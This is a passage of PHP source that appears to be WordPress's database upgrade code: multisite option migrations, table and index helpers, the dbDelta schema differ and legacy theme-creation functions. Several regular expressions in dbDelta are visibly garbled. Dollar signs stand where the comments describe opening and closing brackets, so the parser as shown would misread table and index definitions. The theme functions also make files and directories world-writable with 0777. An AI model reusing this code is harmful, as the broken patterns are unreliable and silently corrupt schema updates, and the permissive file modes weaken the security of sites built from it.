update_site_option( 'active_sitewide_plugins', $sitewide_plugins );
		}
		delete_site_option( 'wpmu_sitewide_plugins' );
		delete_site_option( 'deactivated_sitewide_plugins' );

$start = 0;
		while ( $rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM {$wpdb->sitemeta} ORDER BY meta_id LIMIT $start, 20" ) ) {
			foreach ( $rows as $row ) {
				$value = $row->meta_value;
				if ( ! @unserialize( $value ) ) {
					$value = stripslashes( $value );
				}
				if ( $value !== $row->meta_value ) {
					update_site_option( $row->meta_key, $value );
				}
			}
			$start += 20;
		}
	}

// 3.0.0
	if ( $wp_current_db_version < 13576 ) {
		update_site_option( 'global_terms_enabled', '1' );
	}

// 3.3.0
	if ( $wp_current_db_version < 19390 ) {
		update_site_option( 'initial_db_version', $wp_current_db_version );
	}

if ( $wp_current_db_version < 19470 ) {
		if ( false === get_site_option( 'active_sitewide_plugins' ) ) {
			update_site_option( 'active_sitewide_plugins', array() );
		}
	}

// 3.4.0
	if ( $wp_current_db_version < 20148 ) {
		// 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
		$allowedthemes  = get_site_option( 'allowedthemes' );
		$allowed_themes = get_site_option( 'allowed_themes' );
		if ( false === $allowedthemes && is_array( $allowed_themes ) && $allowed_themes ) {
			$converted = array();
			$themes    = wp_get_themes();
			foreach ( $themes as $stylesheet => $theme_data ) {
				if ( isset( $allowed_themes[ $theme_data->get( 'Name' ) ] ) ) {
					$converted[ $stylesheet ] = true;
				}
			}
			update_site_option( 'allowedthemes', $converted );
			delete_site_option( 'allowed_themes' );
		}
	}

// 3.5.0
	if ( $wp_current_db_version < 21823 ) {
		update_site_option( 'ms_files_rewriting', '1' );
	}

// 3.5.2
	if ( $wp_current_db_version < 24448 ) {
		$illegal_names = get_site_option( 'illegal_names' );
		if ( is_array( $illegal_names ) && count( $illegal_names ) === 1 ) {
			$illegal_name  = reset( $illegal_names );
			$illegal_names = explode( ' ', $illegal_name );
			update_site_option( 'illegal_names', $illegal_names );
		}
	}

// 4.2.0
	if ( $wp_current_db_version < 31351 && 'utf8mb4' === $wpdb->charset ) {
		if ( wp_should_upgrade_global_tables() ) {
			$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			$wpdb->query( "ALTER TABLE $wpdb->site DROP INDEX domain, ADD INDEX domain(domain(140),path(51))" );
			$wpdb->query( "ALTER TABLE $wpdb->sitemeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );

$tables = $wpdb->tables( 'global' );

// sitecategories may not exist.
			if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
				unset( $tables['sitecategories'] );
			}

foreach ( $tables as $table ) {
				maybe_convert_table_to_utf8mb4( $table );
			}
		}
	}

// 4.3.0
	if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
		if ( wp_should_upgrade_global_tables() ) {
			$upgrade = false;
			$indexes = $wpdb->get_results( "SHOW INDEXES FROM $wpdb->signups" );
			foreach ( $indexes as $index ) {
				if ( 'domain_path' === $index->Key_name && 'domain' === $index->Column_name && 140 != $index->Sub_part ) {
					$upgrade = true;
					break;
				}
			}

if ( $upgrade ) {
				$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );
			}

$tables = $wpdb->tables( 'global' );

// sitecategories may not exist.
			if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
				unset( $tables['sitecategories'] );
			}

foreach ( $tables as $table ) {
				maybe_convert_table_to_utf8mb4( $table );
			}
		}
	}

// 5.1.0
	if ( $wp_current_db_version < 44467 ) {
		$network_id = get_main_network_id();
		delete_network_option( $network_id, 'site_meta_supported' );
		is_site_meta_supported();
	}
}

//
// General functions we use to actually do stuff.
//

/**
 * Creates a table in the database, if it doesn't already exist.
 *
 * This method checks for an existing database and creates a new one if it's not
 * already present. It doesn't rely on MySQL's "IF NOT EXISTS" statement, but chooses
 * to query all tables first and then run the SQL statement creating the table.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name Database table name.
 * @param string $create_ddl SQL statement to create table.
 * @return bool True on success or if the table already exists. False on failure.
 */
function maybe_create_table( $table_name, $create_ddl ) {
	global $wpdb;

$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) );

if ( $wpdb->get_var( $query ) === $table_name ) {
		return true;
	}

// Didn't find it, so try to create it.
	$wpdb->query( $create_ddl );

// We cannot directly tell that whether this succeeded!
	if ( $wpdb->get_var( $query ) === $table_name ) {
		return true;
	}

return false;
}

/**
 * Drops a specified index from a table.
 *
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table Database table name.
 * @param string $index Index name to drop.
 * @return true True, when finished.
 */
function drop_index( $table, $index ) {
	global $wpdb;

$wpdb->hide_errors();

$wpdb->query( "ALTER TABLE `$table` DROP INDEX `$index`" );

// Now we need to take out all the extra ones we may have created.
	for ( $i = 0; $i < 25; $i++ ) {
		$wpdb->query( "ALTER TABLE `$table` DROP INDEX `{$index}_$i`" );
	}

$wpdb->show_errors();

return true;
}

/**
 * Adds an index to a specified table.
 *
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table Database table name.
 * @param string $index Database table index column.
 * @return true True, when done with execution.
 */
function add_clean_index( $table, $index ) {
	global $wpdb;

drop_index( $table, $index );
	$wpdb->query( "ALTER TABLE `$table` ADD INDEX ( `$index` )" );

return true;
}

/**
 * Adds column to a database table, if it doesn't already exist.
 *
 * @since 1.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name  Database table name.
 * @param string $column_name Table column name.
 * @param string $create_ddl  SQL statement to add column.
 * @return bool True on success or if the column already exists. False on failure.
 */
function maybe_add_column( $table_name, $column_name, $create_ddl ) {
	global $wpdb;

foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {
			return true;
		}
	}

// Didn't find it, so try to create it.
	$wpdb->query( $create_ddl );

// We cannot directly tell that whether this succeeded!
	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {
			return true;
		}
	}

return false;
}

/**
 * If a table only contains utf8 or utf8mb4 columns, convert it to utf8mb4.
 *
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table The table to convert.
 * @return bool True if the table was converted, false if it wasn't.
 */
function maybe_convert_table_to_utf8mb4( $table ) {
	global $wpdb;

$results = $wpdb->get_results( "SHOW FULL COLUMNS FROM `$table`" );
	if ( ! $results ) {
		return false;
	}

foreach ( $results as $column ) {
		if ( $column->Collation ) {
			list( $charset ) = explode( '_', $column->Collation );
			$charset         = strtolower( $charset );
			if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
				// Don't upgrade tables that have non-utf8 columns.
				return false;
			}
		}
	}

$table_details = $wpdb->get_row( "SHOW TABLE STATUS LIKE '$table'" );
	if ( ! $table_details ) {
		return false;
	}

list( $table_charset ) = explode( '_', $table_details->Collation );
	$table_charset         = strtolower( $table_charset );
	if ( 'utf8mb4' === $table_charset ) {
		return true;
	}

return $wpdb->query( "ALTER TABLE $table CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci" );
}

/**
 * Retrieve all options as it was for 1.2.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return stdClass List of options.
 */
function get_alloptions_110() {
	global $wpdb;
	$all_options = new stdClass;
	$options     = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
	if ( $options ) {
		foreach ( $options as $option ) {
			if ( 'siteurl' === $option->option_name || 'home' === $option->option_name || 'category_base' === $option->option_name ) {
				$option->option_value = untrailingslashit( $option->option_value );
			}
			$all_options->{$option->option_name} = stripslashes( $option->option_value );
		}
	}
	return $all_options;
}

/**
 * Utility version of get_option that is private to installation/upgrade.
 *
 * @ignore
 * @since 1.5.1
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $setting Option name.
 * @return mixed
 */
function __get_option( $setting ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	global $wpdb;

if ( 'home' === $setting && defined( 'WP_HOME' ) ) {
		return untrailingslashit( WP_HOME );
	}

if ( 'siteurl' === $setting && defined( 'WP_SITEURL' ) ) {
		return untrailingslashit( WP_SITEURL );
	}

$option = $wpdb->get_var( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting ) );

if ( 'home' === $setting && ! $option ) {
		return __get_option( 'siteurl' );
	}

if ( in_array( $setting, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) {
		$option = untrailingslashit( $option );
	}

return maybe_unserialize( $option );
}

/**
 * Filters for content to remove unnecessary slashes.
 *
 * @since 1.5.0
 *
 * @param string $content The content to modify.
 * @return string The de-slashed content.
 */
function deslash( $content ) {
	// Note: \\\ inside a regex denotes a single backslash.

/*
	 * Replace one or more backslashes followed by a single quote with
	 * a single quote.
	 */
	$content = preg_replace( "/\\\+'/", "'", $content );

/*
	 * Replace one or more backslashes followed by a double quote with
	 * a double quote.
	 */
	$content = preg_replace( '/\\\+"/', '"', $content );

// Replace one or more backslashes with one backslash.
	$content = preg_replace( '/\\\+/', '\\', $content );

return $content;
}

/**
 * Modifies the database based on specified SQL statements.
 *
 * Useful for creating new tables and updating existing tables to a new structure.
 *
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string[]|string $queries Optional. The query to run. Can be multiple queries
 *                                 in an array, or a string of queries separated by
 *                                 semicolons. Default empty string.
 * @param bool            $execute Optional. Whether or not to execute the query right away.
 *                                 Default true.
 * @return array Strings containing the results of the various update queries.
 */
function dbDelta( $queries = '', $execute = true ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $wpdb;

if ( in_array( $queries, array( '', 'all', 'blog', 'global', 'ms_global' ), true ) ) {
		$queries = wp_get_db_schema( $queries );
	}

// Separate individual queries into an array.
	if ( ! is_array( $queries ) ) {
		$queries = explode( ';', $queries );
		$queries = array_filter( $queries );
	}

/**
	 * Filters the dbDelta SQL queries.
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $queries An array of dbDelta SQL queries.
	 */
	$queries = apply_filters( 'dbdelta_queries', $queries );

$cqueries   = array(); // Creation queries.
	$iqueries   = array(); // Insertion queries.
	$for_update = array();

// Create a tablename index for an array ($cqueries) of queries.
	foreach ( $queries as $qry ) {
		if ( preg_match( '|CREATE TABLE ([^ ]*)|', $qry, $matches ) ) {
			$cqueries[ trim( $matches[1], '`' ) ] = $qry;
			$for_update[ $matches[1] ]            = 'Created table ' . $matches[1];
		} elseif ( preg_match( '|CREATE DATABASE ([^ ]*)|', $qry, $matches ) ) {
			array_unshift( $cqueries, $qry );
		} elseif ( preg_match( '|INSERT INTO ([^ ]*)|', $qry, $matches ) ) {
			$iqueries[] = $qry;
		} elseif ( preg_match( '|UPDATE ([^ ]*)|', $qry, $matches ) ) {
			$iqueries[] = $qry;
		} else {
			// Unrecognized query type.
		}
	}

/**
	 * Filters the dbDelta SQL queries for creating tables and/or databases.
	 *
	 * Queries filterable via this hook contain "CREATE TABLE" or "CREATE DATABASE".
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $cqueries An array of dbDelta create SQL queries.
	 */
	$cqueries = apply_filters( 'dbdelta_create_queries', $cqueries );

/**
	 * Filters the dbDelta SQL queries for inserting or updating.
	 *
	 * Queries filterable via this hook contain "INSERT INTO" or "UPDATE".
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $iqueries An array of dbDelta insert or update SQL queries.
	 */
	$iqueries = apply_filters( 'dbdelta_insert_queries', $iqueries );

$text_fields = array( 'tinytext', 'text', 'mediumtext', 'longtext' );
	$blob_fields = array( 'tinyblob', 'blob', 'mediumblob', 'longblob' );

$global_tables = $wpdb->tables( 'global' );
	foreach ( $cqueries as $table => $qry ) {
		// Upgrade global tables only for the main site. Don't upgrade at all if conditions are not optimal.
		if ( in_array( $table, $global_tables, true ) && ! wp_should_upgrade_global_tables() ) {
			unset( $cqueries[ $table ], $for_update[ $table ] );
			continue;
		}

// Fetch the table column structure from the database.
		$suppress    = $wpdb->suppress_errors();
		$tablefields = $wpdb->get_results( "DESCRIBE {$table};" );
		$wpdb->suppress_errors( $suppress );

if ( ! $tablefields ) {
			continue;
		}

// Clear the field and index arrays.
		$cfields                  = array();
		$indices                  = array();
		$indices_without_subparts = array();

// Get all of the field names in the query from between the parentheses.
		preg_match( '|$(.*)$|ms', $qry, $match2 );
		$qryline = trim( $match2[1] );

// Separate field lines into an array.
		$flds = explode( "\n", $qryline );

// For every field line specified in the query.
		foreach ( $flds as $fld ) {
			$fld = trim( $fld, " \t\n\r\0\x0B," ); // Default trim characters, plus ','.

// Extract the field name.
			preg_match( '|^([^ ]*)|', $fld, $fvals );
			$fieldname            = trim( $fvals[1], '`' );
			$fieldname_lowercased = strtolower( $fieldname );

// Verify the found field name.
			$validfield = true;
			switch ( $fieldname_lowercased ) {
				case '':
				case 'primary':
				case 'index':
				case 'fulltext':
				case 'unique':
				case 'key':
				case 'spatial':
					$validfield = false;

/*
					 * Normalize the index definition.
					 *
					 * This is done so the definition can be compared against the result of a
					 * `SHOW INDEX FROM $table_name` query which returns the current table
					 * index information.
					 */

// Extract type, name and columns from the definition.
					// phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation
					preg_match(
						'/^'
						.   '(?P<index_type>'             // 1) Type of the index.
						.       'PRIMARY\s+KEY|(?:UNIQUE|FULLTEXT|SPATIAL)\s+(?:KEY|INDEX)|KEY|INDEX'
						.   ')'
						.   '\s+'                         // Followed by at least one white space character.
						.   '(?:'                         // Name of the index. Optional if type is PRIMARY KEY.
						.       '`?'                      // Name can be escaped with a backtick.
						.           '(?P<index_name>'     // 2) Name of the index.
						.               '(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+'
						.           ')'
						.       '`?'                      // Name can be escaped with a backtick.
						.       '\s+'                     // Followed by at least one white space character.
						.   ')*'
						.   '$'                          // Opening bracket for the columns.
						.       '(?P<index_columns>'
						.           '.+?'                 // 3) Column names, index prefixes, and orders.
						.       ')'
						.   '$'                          // Closing bracket for the columns.
						. '$/im',
						$fld,
						$index_matches
					);
					// phpcs:enable

// Uppercase the index type and normalize space characters.
					$index_type = strtoupper( preg_replace( '/\s+/', ' ', trim( $index_matches['index_type'] ) ) );

// 'INDEX' is a synonym for 'KEY', standardize on 'KEY'.
					$index_type = str_replace( 'INDEX', 'KEY', $index_type );

// Escape the index name with backticks. An index for a primary key has no name.
					$index_name = ( 'PRIMARY KEY' === $index_type ) ? '' : '`' . strtolower( $index_matches['index_name'] ) . '`';

// Parse the columns. Multiple columns are separated by a comma.
					$index_columns                  = array_map( 'trim', explode( ',', $index_matches['index_columns'] ) );
					$index_columns_without_subparts = $index_columns;

// Normalize columns.
					foreach ( $index_columns as $id => &$index_column ) {
						// Extract column name and number of indexed characters (sub_part).
						preg_match(
							'/'
							. '`?'                      // Name can be escaped with a backtick.
							. '(?P<column_name>'    // 1) Name of the column.
							. '(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+'
							. ')'
							. '`?'                      // Name can be escaped with a backtick.
							. '(?:'                     // Optional sub part.
							. '\s*'                 // Optional white space character between name and opening bracket.
							. '$'                  // Opening bracket for the sub part.
							. '\s*'             // Optional white space character after opening bracket.
							. '(?P<sub_part>'
							. '\d+'         // 2) Number of indexed characters.
							. ')'
							. '\s*'             // Optional white space character before closing bracket.
							. '$'                 // Closing bracket for the sub part.
							. ')?'
							. '/',
							$index_column,
							$index_column_matches
						);

// Escape the column name with backticks.
						$index_column = '`' . $index_column_matches['column_name'] . '`';

// We don't need to add the subpart to $index_columns_without_subparts
						$index_columns_without_subparts[ $id ] = $index_column;

// Append the optional sup part with the number of indexed characters.
						if ( isset( $index_column_matches['sub_part'] ) ) {
							$index_column .= '(' . $index_column_matches['sub_part'] . ')';
						}
					}

// Build the normalized index definition and add it to the list of indices.
					$indices[]                  = "{$index_type} {$index_name} (" . implode( ',', $index_columns ) . ')';
					$indices_without_subparts[] = "{$index_type} {$index_name} (" . implode( ',', $index_columns_without_subparts ) . ')';

// Destroy no longer needed variables.
					unset( $index_column, $index_column_matches, $index_matches, $index_type, $index_name, $index_columns, $index_columns_without_subparts );

break;
			}

// If it's a valid field, add it to the field array.
			if ( $validfield ) {
				$cfields[ $fieldname_lowercased ] = $fld;
			}
		}

// For every field in the table.
		foreach ( $tablefields as $tablefield ) {
			$tablefield_field_lowercased = strtolower( $tablefield->Field );
			$tablefield_type_lowercased  = strtolower( $tablefield->Type );

// If the table field exists in the field array...
			if ( array_key_exists( $tablefield_field_lowercased, $cfields ) ) {

// Get the field type from the query.
				preg_match( '|`?' . $tablefield->Field . '`? ([^ ]*( unsigned)?)|i', $cfields[ $tablefield_field_lowercased ], $matches );
				$fieldtype            = $matches[1];
				$fieldtype_lowercased = strtolower( $fieldtype );

// Is actual field type different from the field type in query?
				if ( $tablefield->Type != $fieldtype ) {
					$do_change = true;
					if ( in_array( $fieldtype_lowercased, $text_fields, true ) && in_array( $tablefield_type_lowercased, $text_fields, true ) ) {
						if ( array_search( $fieldtype_lowercased, $text_fields, true ) < array_search( $tablefield_type_lowercased, $text_fields, true ) ) {
							$do_change = false;
						}
					}

if ( in_array( $fieldtype_lowercased, $blob_fields, true ) && in_array( $tablefield_type_lowercased, $blob_fields, true ) ) {
						if ( array_search( $fieldtype_lowercased, $blob_fields, true ) < array_search( $tablefield_type_lowercased, $blob_fields, true ) ) {
							$do_change = false;
						}
					}

if ( $do_change ) {
						// Add a query to change the column type.
						$cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN `{$tablefield->Field}` " . $cfields[ $tablefield_field_lowercased ];

$for_update[ $table . '.' . $tablefield->Field ] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}";
					}
				}

// Get the default value from the array.
				if ( preg_match( "| DEFAULT '(.*?)'|i", $cfields[ $tablefield_field_lowercased ], $matches ) ) {
					$default_value = $matches[1];
					if ( $tablefield->Default != $default_value ) {
						// Add a query to change the column's default value
						$cqueries[] = "ALTER TABLE {$table} ALTER COLUMN `{$tablefield->Field}` SET DEFAULT '{$default_value}'";

$for_update[ $table . '.' . $tablefield->Field ] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}";
					}
				}

// Remove the field from the array (so it's not added).
				unset( $cfields[ $tablefield_field_lowercased ] );
			} else {
				// This field exists in the table, but not in the creation queries?
			}
		}

// For every remaining field specified for the table.
		foreach ( $cfields as $fieldname => $fielddef ) {
			// Push a query line into $cqueries that adds the field to that table.
			$cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef";

$for_update[ $table . '.' . $fieldname ] = 'Added column ' . $table . '.' . $fieldname;
		}

// Index stuff goes here. Fetch the table index structure from the database.
		$tableindices = $wpdb->get_results( "SHOW INDEX FROM {$table};" );

if ( $tableindices ) {
			// Clear the index array.
			$index_ary = array();

// For every index in the table.
			foreach ( $tableindices as $tableindex ) {
				$keyname = strtolower( $tableindex->Key_name );

// Add the index to the index data array.
				$index_ary[ $keyname ]['columns'][]  = array(
					'fieldname' => $tableindex->Column_name,
					'subpart'   => $tableindex->Sub_part,
				);
				$index_ary[ $keyname ]['unique']     = ( 0 == $tableindex->Non_unique ) ? true : false;
				$index_ary[ $keyname ]['index_type'] = $tableindex->Index_type;
			}

// For each actual index in the index array.
			foreach ( $index_ary as $index_name => $index_data ) {

// Build a create string to compare to the query.
				$index_string = '';
				if ( 'primary' === $index_name ) {
					$index_string .= 'PRIMARY ';
				} elseif ( $index_data['unique'] ) {
					$index_string .= 'UNIQUE ';
				}
				if ( 'FULLTEXT' === strtoupper( $index_data['index_type'] ) ) {
					$index_string .= 'FULLTEXT ';
				}
				if ( 'SPATIAL' === strtoupper( $index_data['index_type'] ) ) {
					$index_string .= 'SPATIAL ';
				}
				$index_string .= 'KEY ';
				if ( 'primary' !== $index_name ) {
					$index_string .= '`' . $index_name . '`';
				}
				$index_columns = '';

// For each column in the index.
				foreach ( $index_data['columns'] as $column_data ) {
					if ( '' !== $index_columns ) {
						$index_columns .= ',';
					}

// Add the field to the column list string.
					$index_columns .= '`' . $column_data['fieldname'] . '`';
				}

// Add the column list to the index create string.
				$index_string .= " ($index_columns)";

// Check if the index definition exists, ignoring subparts.
				$aindex = array_search( $index_string, $indices_without_subparts, true );
				if ( false !== $aindex ) {
					// If the index already exists (even with different subparts), we don't need to create it.
					unset( $indices_without_subparts[ $aindex ] );
					unset( $indices[ $aindex ] );
				}
			}
		}

// For every remaining index specified for the table.
		foreach ( (array) $indices as $index ) {
			// Push a query line into $cqueries that adds the index to that table.
			$cqueries[] = "ALTER TABLE {$table} ADD $index";

$for_update[] = 'Added index ' . $table . ' ' . $index;
		}

// Remove the original table creation query from processing.
		unset( $cqueries[ $table ], $for_update[ $table ] );
	}

$allqueries = array_merge( $cqueries, $iqueries );
	if ( $execute ) {
		foreach ( $allqueries as $query ) {
			$wpdb->query( $query );
		}
	}

return $for_update;
}

/**
 * Updates the database tables to a new schema.
 *
 * By default, updates all the tables to use the latest defined schema, but can also
 * be used to update a specific set of tables in wp_get_db_schema().
 *
 * @since 1.5.0
 *
 * @uses dbDelta
 *
 * @param string $tables Optional. Which set of tables to update. Default is 'all'.
 */
function make_db_current( $tables = 'all' ) {
	$alterations = dbDelta( $tables );
	echo "<ol>\n";
	foreach ( $alterations as $alteration ) {
		echo "<li>$alteration</li>\n";
	}
	echo "</ol>\n";
}

/**
 * Updates the database tables to a new schema, but without displaying results.
 *
 * By default, updates all the tables to use the latest defined schema, but can
 * also be used to update a specific set of tables in wp_get_db_schema().
 *
 * @since 1.5.0
 *
 * @see make_db_current()
 *
 * @param string $tables Optional. Which set of tables to update. Default is 'all'.
 */
function make_db_current_silent( $tables = 'all' ) {
	dbDelta( $tables );
}

/**
 * Creates a site theme from an existing theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @param string $theme_name The name of the theme.
 * @param string $template   The directory name of the theme.
 * @return bool
 */
function make_site_theme_from_oldschool( $theme_name, $template ) {
	$home_path = get_home_path();
	$site_dir  = WP_CONTENT_DIR . "/themes/$template";

if ( ! file_exists( "$home_path/index.php" ) ) {
		return false;
	}

/*
	 * Copy files from the old locations to the site theme.
	 * TODO: This does not copy arbitrary include dependencies. Only the standard WP files are copied.
	 */
	$files = array(
		'index.php'             => 'index.php',
		'wp-layout.css'         => 'style.css',
		'wp-comments.php'       => 'comments.php',
		'wp-comments-popup.php' => 'comments-popup.php',
	);

foreach ( $files as $oldfile => $newfile ) {
		if ( 'index.php' === $oldfile ) {
			$oldpath = $home_path;
		} else {
			$oldpath = ABSPATH;
		}

// Check to make sure it's not a new index.
		if ( 'index.php' === $oldfile ) {
			$index = implode( '', file( "$oldpath/$oldfile" ) );
			if ( strpos( $index, 'WP_USE_THEMES' ) !== false ) {
				if ( ! copy( WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME . '/index.php', "$site_dir/$newfile" ) ) {
					return false;
				}

// Don't copy anything.
				continue;
			}
		}

if ( ! copy( "$oldpath/$oldfile", "$site_dir/$newfile" ) ) {
			return false;
		}

chmod( "$site_dir/$newfile", 0777 );

// Update the blog header include in each file.
		$lines = explode( "\n", implode( '', file( "$site_dir/$newfile" ) ) );
		if ( $lines ) {
			$f = fopen( "$site_dir/$newfile", 'w' );

foreach ( $lines as $line ) {
				if ( preg_match( '/require.*wp-blog-header/', $line ) ) {
					$line = '//' . $line;
				}

// Update stylesheet references.
				$line = str_replace( "<?php echo __get_option('siteurl'); ?>/wp-layout.css", "<?php bloginfo('stylesheet_url'); ?>", $line );

// Update comments template inclusion.
				$line = str_replace( "<?php include(ABSPATH . 'wp-comments.php'); ?>", '<?php comments_template(); ?>', $line );

fwrite( $f, "{$line}\n" );
			}
			fclose( $f );
		}
	}

// Add a theme header.
	$header = "/*\nTheme Name: $theme_name\nTheme URI: " . __get_option( 'siteurl' ) . "\nDescription: A theme automatically created by the update.\nVersion: 1.0\nAuthor: Moi\n*/\n";

$stylelines = file_get_contents( "$site_dir/style.css" );
	if ( $stylelines ) {
		$f = fopen( "$site_dir/style.css", 'w' );

fwrite( $f, $header );
		fwrite( $f, $stylelines );
		fclose( $f );
	}

return true;
}

/**
 * Creates a site theme from the default theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @param string $theme_name The name of the theme.
 * @param string $template   The directory name of the theme.
 * @return void|false
 */
function make_site_theme_from_default( $theme_name, $template ) {
	$site_dir    = WP_CONTENT_DIR . "/themes/$template";
	$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;

// Copy files from the default theme to the site theme.
	// $files = array( 'index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css' );

$theme_dir = @opendir( $default_dir );
	if ( $theme_dir ) {
		while ( ( $theme_file = readdir( $theme_dir ) ) !== false ) {
			if ( is_dir( "$default_dir/$theme_file" ) ) {
				continue;
			}
			if ( ! copy( "$default_dir/$theme_file", "$site_dir/$theme_file" ) ) {
				return;
			}
			chmod( "$site_dir/$theme_file", 0777 );
		}

closedir( $theme_dir );
	}

// Rewrite the theme header.
	$stylelines = explode( "\n", implode( '', file( "$site_dir/style.css" ) ) );
	if ( $stylelines ) {
		$f = fopen( "$site_dir/style.css", 'w' );

foreach ( $stylelines as $line ) {
			if ( strpos( $line, 'Theme Name:' ) !== false ) {
				$line = 'Theme Name: ' . $theme_name;
			} elseif ( strpos( $line, 'Theme URI:' ) !== false ) {
				$line = 'Theme URI: ' . __get_option( 'url' );
			} elseif ( strpos( $line, 'Description:' ) !== false ) {
				$line = 'Description: Your theme.';
			} elseif ( strpos( $line, 'Version:' ) !== false ) {
				$line = 'Version: 1';
			} elseif ( strpos( $line, 'Author:' ) !== false ) {
				$line = 'Author: You';
			}
			fwrite( $f, $line . "\n" );
		}
		fclose( $f );
	}

// Copy the images.
	umask( 0 );
	if ( ! mkdir( "$site_dir/images", 0777 ) ) {
		return false;
	}

$images_dir = @opendir( "$default_dir/images" );
	if ( $images_dir ) {
		while ( ( $image = readdir( $images_dir ) ) !== false ) {
			if ( is_dir( "$default_dir/images/$image" ) ) {
				continue;
			}
			if ( ! copy( "$default_dir/images/$image", "$site_dir/images/$image" ) ) {
				return;
			}
			chmod( "$site_dir/images/$image", 0777 );
		}

closedir( $images_dir );
	}
}

/**
 * Creates a site theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @return string|false
 */
function make_site_theme() {
	// Name the theme after the blog.
	$theme_name = __get_option( 'blogname' );
	$template   = sanitize_title( $theme_name );
	$site_dir   = WP_CONTENT_DIR . "/themes/$template";

// If the theme already exists, nothing to do.
	if ( is_dir( $site_dir ) ) {
		return false;
	}

// We must be able to write to the themes dir.
	if ( ! is_writable( WP_CONTENT_DIR . '/themes' ) ) {
		return false;
	}

umask( 0 );
	if ( ! mkdir( $site_dir, 0777 ) ) {
		return false;
	}

if ( file_exists( ABSPATH . 'wp-layout.css' ) ) {
		if ( ! make_site_theme_from_oldschool( $theme_name, $template ) ) {
			// TODO: rm -rf the site theme directory.
			return false;
		}
	} else {
		if ( ! make_site_theme_from_default( $theme_name, $template ) ) {
			// TODO: rm -rf the site theme directory.
			return false;
		}
	}

// Make the new site theme active.
	$current_template = __get_option( 'template' );
	if ( WP_DEFAULT_THEME == $current_template ) {
		update_option( 'template', $template );
		update_option( 'stylesheet', $template );
	}
	return $template;
}

/**
 * Translate user level to user role name.
 *
 * @since 2.0.0
 *
 * @param int $level User level.
 * @return string User role name.
 */
function translate_level_to_role( $level ) {
	switch ( $level ) {
		case 10:
		case 9:
		case 8:
			return 'administrator';
		case 7:
		case 6:
		case 5:
			return 'editor';
		case 4:
		case 3:
		case 2:
			return 'author';
		case 1:
			return 'contributor';
		case 0:
		default:
			return 'subscriber';
	}
}

/**
 * Checks the version of the installed MySQL binary.
 *
 * @since 2.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function wp_check_mysql_version() {
	global $wpdb;
	$result = $wpdb->check_database_version();
	if ( is_wp_error( $result ) ) {
		wp_die( $result );
	}
}

/**
 * Disables the Automattic widgets plugin, which was merged into core.
 *
 * @since 2.2.0
 */
function maybe_disable_automattic_widgets() {
	$plugins = __get_option( 'active_plugins' );

foreach ( (array) $plugins as $plugin ) {
		if ( 'widgets.php' === basename( $plugin ) ) {
			array_splice( $plugins, array_search( $plugin, $plugins, true ), 1 );
			update_option( 'active_plugins', $plugins );
			break;
		}
	}
}

/**
 * Disables the Link Manager on upgrade if, at the time of upgrade, no links exist in the DB.
 *
 * @since 3.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function maybe_disable_link_manager() {
	global $wp_current_db_version, $wpdb;

